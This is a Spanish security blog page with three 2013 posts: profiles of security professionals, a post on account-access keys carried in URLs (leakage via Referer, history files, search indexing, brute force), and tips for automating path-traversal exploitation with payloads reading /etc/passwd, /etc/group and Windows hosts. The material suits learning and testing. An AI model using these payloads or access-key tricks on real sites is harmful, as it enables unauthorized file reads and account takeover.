martes, 24 de septiembre de 2013

Profesionales de la seguridad informática I

Después de una semana de sequía sin escribir en el blog por las fechas de entrega de proyectos, ya que andamos un poco justos de tiempo he conseguido hacer un hueco para publicar una entrada que no acaba hoy ya que seguiré con el hilo de esta entrada cuando logre realizarme unas cuentas fotos con otros tantos profesionales de la seguridad informática y es que de ello va esta entrada.
Empezando con mi querido jefe (más me vale hablar bien de él … jejej) Pablo González, muy buen compañero del cual desde que lo conozco he de decir que es alguien que se ha preocupado por mí, por llevarme por el buen camino y guiarme y del que he aprendido y seguiré aprendido mucho de él, excelente persona y muy apreciado por todos en el entorno de este mundillo. Sin más hablar un poco de su experiencia y formación como profesional de la seguridad informática.

Pablo González
 
Es Project Manager en 11Paths, empresa perteneciente a Telefónica Digital. Ingeniero Técnico en Informática de Sistemas e Ingeniero en Informática por la Universidad Rey Juan Carlos. Certificado en  MCTS Windows 7, Configuring, MCITP Enterprise Desktop Administrator Windows 7, MCTS Windows 7 y Office 2010 deployment, MCP Designing Security for a Windows Server 2003 Network, MCTS Windows Server 2008 R2 Server Virtualization. Certificado en LPIC-1 y Small Bussiness CISCO. FTSAI. Anteriormente ha trabajado como Responsable de Seguridad en Informática 64. Premio Extraordinario Fin de Carrera por la Universidad Rey Juan Carlos en Ingeniería Técnica en Informática de Sistemas en 2009. Premio al mejor expediente de su promoción por la Escuela Técnica Superior de Ingeniería Informática de la Universidad Rey Juan Carlos en 2009. Es ponente habitual en diversos foros y congresos de seguridad a nivel nacional, entre los que se encuentran No cON Name y RootedCon.
Es autor de los siguientes libros:
  • Metasploit para pentesters.
  • Pentesting con Kali.
  • Hacking dispositivos iOS: iPhone & iPad.
  • PowerShell: La navaja suiza de los administradores de sistemas.
  • Windows Server 2012 para IT Pros.
  • Hardening de servidores GNU/Linux
Y lleva junto con Juan Antonio Calles el blog de http://www.flu-project.com/

pablo
Imagen 1: Yo y Pablo González

El siguiente del quien voy a hablar no es ni más ni menos que de Chema Alonso conocido por todo el que mínimamente se haya acercado al mundo de la seguridad informática, ponente en conferencias de todo el mundo y demás, pero ahora les hablaré sobre mi experiencia personal durante el tiempo que llevo trabajando con él, ya que luego haré un inciso para extender el recorrido que lleva este personaje tan conocido por todos a nivel nacional e internacional en el campo de la seguridad informática, sin más he de decir que a demás de simpático es una persona que llega a todos, no es el típico jefe que te podrías encontrar trabajando en cualquier otro sitio, es alguien más cercano y junto a Rodol han creado y llegado a construir los pilares de lo que es hoy en día 11paths, por ultimo decir que es alguien de quien no puedo decir que no haya sido amable conmigo y para demostrároslo y os muráis de envidia decir que me ha llevado hasta mi casa en el cochazo con el que aparezco en la Imagen 2.


Conocido como el Maligno, es quizá uno de los referentes de seguridad informática y hacking a nivel mundial. Ingeniero Informático de Sistemas por la Universidad Politécnica de Madrid - donde ha sido nombrado Embajador Honorífico por su excelente carrera profesional, e Ingeniero Informático y Master en Sistemas de Información por la Universidad Rey Juan Carlos ha sido premiado como Most Valuable Professional en Enterprise Security por Microsoft durante 8 años. En la URJC ha realizado su Doctorado en Informática dedicado a técnicas de auditoría de seguridad web. Miembro fundador de Informática 64, donde trabaja como consultor e investigador de Seguridad desde hace 14 años. De su trabajo en Informática 64, han salido herramientas populares de la seguridad informática como FOCA, MetaShield Protector o la reciente Forensic FOCA, y desde donde han salido las publicaciones de técnicas hacking como Time-Based Blind SQL Injection, (Blind) LDAP Injection o Connection String Parameter Pollution. Recorre el mundo participando en conferencias de seguridad de renombre internacional como Defcon, BlackHat, ShmooCON, HackCON, SEC-T, DeepSEC, RootedCON, NoConName, Ekoparty, Yahoo! Security Week, Digital Crime Consortium, FIRST, ToorCON, etc… donde ha dado más de 100 conferencias por todo el mundo. Ha sido invitado por Yahoo! para las jornadas de Seguridad en San Francisco. Famoso por su gorro a rayas, Chema Alonso ha publicado más de 50 artículos en congresos académicos y revistas técnicas, siempre sobre seguridad informática y es coautor de varios libros de Seguridad Informática. Escribe a diario su blog “Un informático en el lado del mal”, tocando temas de actualidad, hacking y seguridad desde hace 7 años. En el año 2012 fue elegido en los premios Bitácoras como el mejor blog de seguridad informática del año. Además es colaborador y mentor en Talentum Startups de Telefónica, director del Master de Seguridad de la Universidad Europea de Madrid y profesor del Master de Seguridad de la Universidad Oberta de Catalunya y de la Universidad Politécnica de Madrid. Actualmente puedes escucharle todos los martes en el programa La Mañana de la COPE a las 11:30 horas.

chema
Imagen 2: Yo y Chema Alonso
chema2
Imagen 3: Yo y Chema Alonso otra vez..
Ahora hablaré de un amiguete a quien aprecio mucho, alguien que conozco hace bastante, bastante más de cuando lo vi por primera vez y es que esa misma mañana cuando entraba por primera vez a informatica64 vi a un chaval que salía a tomarse su pan con mantequilla y cola cao, tenía así como poco pelo cuando luego caí y me di cuenta que no era otro que Germán Sánchez, compañero durante aquellos tiempos de gran nivel en indetectables.net donde compartimos y aprendimos sobre malware y posteriormente sobre in-seguridad web, que decir de él. Desde el primer día que lo conoces ya eres su colega, es muy cercano y simpático, es con quien no puedes salir de fiesta por que luego … hay lo dejo jajaja.

Germán Sánchez

Autor del libro Pentesting Con Kali, Administrador del famoso blog de enelpc.com.
  • Security Analyst
    Telefónica Digital Identity & Privacy (Eleven Paths)
    abril de 2013 – Actualidad (6 meses)Distrito C, Sede Central de Telefónica
    Consultor de Seguridad Informática en Informática 64
    abril de 2012 – abril de 2013 (1 año 1 mes)
Docente en cursos de hacking ético, pentesting, malware, forense en windows, ataques en redes de datos IPv4 e IPv6, VoIP, seguridad web, auditoría de código y temas relativos a la fortificación de sistemas.
Realizando auditorías web, test de intrusión y análisis de malware para evitar amenazas o fallos de seguridad en empresas externas, con el consiguiente informe técnico, donde reflejar las vulnerabilidades encontradas.
Auditoría de redes LAN en empresas externas, utilizando técnicas relativas al sniffing, pivoting y exploiting.

german 1
Imagen 4: Yo y Germán


miércoles, 11 de septiembre de 2013

Acceso a la cuenta de un usuario directamente a través de la url sin previo login

Esta es una práctica que al parecer se está utilizando cada vez más, ya son varias webs que me encuentro con esta forma de acceder a la cuenta de un usuario sin previa autenticación y que encima no caducan las urls pasado cierto tiempo.
A continuación voy a explicar algunas de las ventajas para un atacante e inconvenientes para los desarrolladores en cuanto al uso de este método.

Referer
El Referer sería un vector para obtener estas jugosas urls algo simple de lo que se podría sacar el acceso a la cuenta de la víctima es como si en el Referer se transmitiera las credenciales. Un ejemplo sería realizando una aplicación que recoja los Referer y pidiendo a la víctima que acceda a la web donde se encuentra esta aplicación donde se obtendrán estas urls que transmiten el key para entrar como usuario logead.

Ficheros del historial de los navegadores
Otro causa de por qué no utilizar este método y otro truco de como robar estas urls como todas las otras por las que el usuario navega es el fichero donde se guarda el historial  de navegación por ejemplo en Google Chrome con Windows 8 se haya en un fichero que se encuentra en C:\Users\RootedLab\AppData\Local\Google\Chrome\User Data\Default\History Index 2013-09

clip_image001
Imagen 1: Historial de Chrome
Google Dork
Un ejemplo es el caso de www.humblebundle.com se dieron cuenta un poco tarde sin poder evitar la indexación de sus urls ya que como se puede ver en la segunda imagen se encuentra configurado el robots.txt para deshabilitar que se indexe estas urls pero como se ve en la primera imagen se dieron cuenta algo tarde ya que hay indexadas bastantes de ellas con acceso a la cuenta aunque ya reclamadas, por ello esta sería otra truco a tener en cuenta

clip_image003
Imagen 2: Urls de acceso indexadas
clip_image005
Imagen 3: Robots.txt
Fuerza Bruta
Casos de webs como https://www.humblebundle.com/downloads?key=4vMtRuTHm53R que permiten el acceso a la cuenta a través de la url tienen una clave compuesta de 12 caracteres aleatorios alfanuméricos en minúscula (27), mayúscula(26) y numérica(10) por ello cabe un rango de posibles combinaciones de 63^12 algo inviable por tiempo y recursos además habría que contar con la posibilidad de realizar varias denegaciones de servicio, pero no por ello descartable para otras webs.
clip_image007
Imagen 4: Cuenta humble
Otros detalles de por que no usar este método
Antes se solía mandar al correo un email las webs donde uno se acababa de registrar con el usuario y contraseña una práctica que ya no se suele usar por el hecho de que una vez comprometido el correo un atacante podía ver esas credenciales y ahora con el método del acceso en la url existe otro vector por el que el atacante acceda a X web como usuario logeado teniendo de este modo la misma importancia que enviar las credenciales al correo, aunque no le será tan fácil al atacante que se haya colado en su correo filtrar los emails como se hacía antes con los que contenían credenciales filtrando por “password, contraseña, usuario, login”, ya que no hay un patrón que filtre las urls que tenga la clave en la variable… tal vez por key? Para el caso de www.humblebundle.com si hubiese servido, pero cada web tendrá su propio nombre de variable

clip_image009
Imagen 5: Bandeja de entrada gmail
Hay que tener en cuenta que cualquier usuario si guarda una url como esta es más susceptible a guardarla sin la seguridad y protección que podría emplear para guardar unas credenciales, por ello resulta más fácil robar una url con el acceso que una combinación de usuario y contraseña



miércoles, 4 de septiembre de 2013

Tips for develop "Path Traversal" Tool


image
Tips for develop "Path Traversal" Tool. By Ricardo M.R.
En esta entrada voy a dar unos trucos para los que decidan desarrollar una herramienta que se aproveche de la vulnerabilidad “Path Traversal o Transversal” primero he de decir que no voy a explicar lo que es, si quieren saberlo pueden buscarlo en wikipedia o googleando un poco , no se trata de eso este post, si no de agilizar en la medida de lo posible la explotación automatizada de esta vulnerabilidad
Para empezar voy a explicar dos restricciones a nivel de código, dos funciones que pueden (joder) hacer mas compleja su explotación.

Definiciones
Basename: Regresa el nombre del archivo o directorio, por ejemplo /var/www/index.html -> regresa 'index.html'
realpath: Devuelve la ruta de acceso resuelta, resolviendo las referencias de caracteres '/./', '/../' y '/' extra

Estudio
Para realizar el escalado de directorios en los diferentes sistemas se utilizan diferentes sintaxis
..\..\         Windows
../../         Linux
../../         Apache
./             Apache con “basename” en el código fuente de la app vulnerable

Uno de los trucos que propongo es la de olvidar buscar ficheros windows y linux, centrándonos unicamente en la sintaxis de Apache teniendo en cuenta el basename y de esta manera si es vulnerable nos centraremos en una única sintaxis para descargar el archivo vulnerable de dentro de directorio web y de esta forma abstraernos del sistema operativo.
.././
../.././

Otra cosa a tener en cuenta es ir tan atrás como podamos en los directorios desde la primera petición ya que es posible no llegar pero seguro funciona si nos pasamos, esto no es nada nuevo, un simple recordatorio no aplicable al ejemplo anteriormente explicado:
Suponiendo el siguiente caso
/var/www/down/download.php?f=img.jpg
"Arbitrary file download”
Para acceder a /etc/passwd desde el download.php (fichero vulnerable)
../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd     correcto
../../etc/passwd                                                                                   incorrecto
Siendo que basta solamente con ir atrás 3 saltos
../../../etc/passwd para llegar al etc/passwd

Desarrollando la App
Un “Paso a Paso” de un caso común:

A la url se le inyecta por cada parámetro:
[linux] ../../../../../../../../../../../../../../../../etc/group
[windows] \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts
con lo cual una url tal que así
http://pepe.com/?a=1&b=2
terminaría variando como se aprecia a continuación:
2 peticiones en los 2 parámetros para la descarga del fichero “etc/group” en Linux.
http://pepe.com/?a=[linux]&b=2
http://pepe.com/?a=1&b=[linux]
y 2 peticiones en los 2 parámetros para la descarga del fichero “hosts” en Windows
http://pepe.com/?a=[windows]&b=2
http://pepe.com/?a=1&b=[windows]

Con Mod_Rewrite, Sin basename y sin realpath

----------------TRUCO 1---------------------------------
Ejemplo: http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg
En este posible caso el fichero ptraversal.php realmente no se encuentra en ./PathTraversal/ptraversal.php
ya que con mod rewrite se ha especificado que cuando se acceda a http://localhost/PathTraversal/ptraversal.php
se redirija a ./xxx/yyyy/zzzz/PathTraversal/ptraversal.php
por ello se va a realizar las pruebas estándar para win y linux
../../../../../../../../../../../../../../../../etc/group
\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts

----------------TRUCO 2---------------------------------
Se hace una petición para producir un error:
http://xxxxx.com/download.php?file[]='
Si en el “Source” se encuentra un “FPD” se obtiene la ruta interna y se concatena a la url
<b>/home/jonathan/public_html/download.php</b>
tal que así, logrando de esta forma tener la ruta real (absoluta).
http://xxxxx.com/download.php?file=/home/jonathan/public_html/download.php

Sin Mod_Rewrite, Con basename y con realpath

----------------TRUCO 1---------------------------------
Ejemplo
http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg
Primero se corta la url desde dominio/ hasta ?
PathTraversal/ptraversal.php
se añade el ./
./PathTraversal/ptraversal.php

Y a partir de aquí se intenta escalar directorios
http://localhost/PathTraversal/ptraversal.php?archivo=./PathTraversal/ptraversal.php erróneo
http://localhost/PathTraversal/ptraversal.php?archivo=.././PathTraversal/ptraversal.php correcto
Si lo que devuelve en la descarga del fichero o en la visualización de la web contiene <? y ?> podemos decir que es vulnerable ya que nos encontramos frente a “arbitrary file download” o un “Local File Include" (LFI).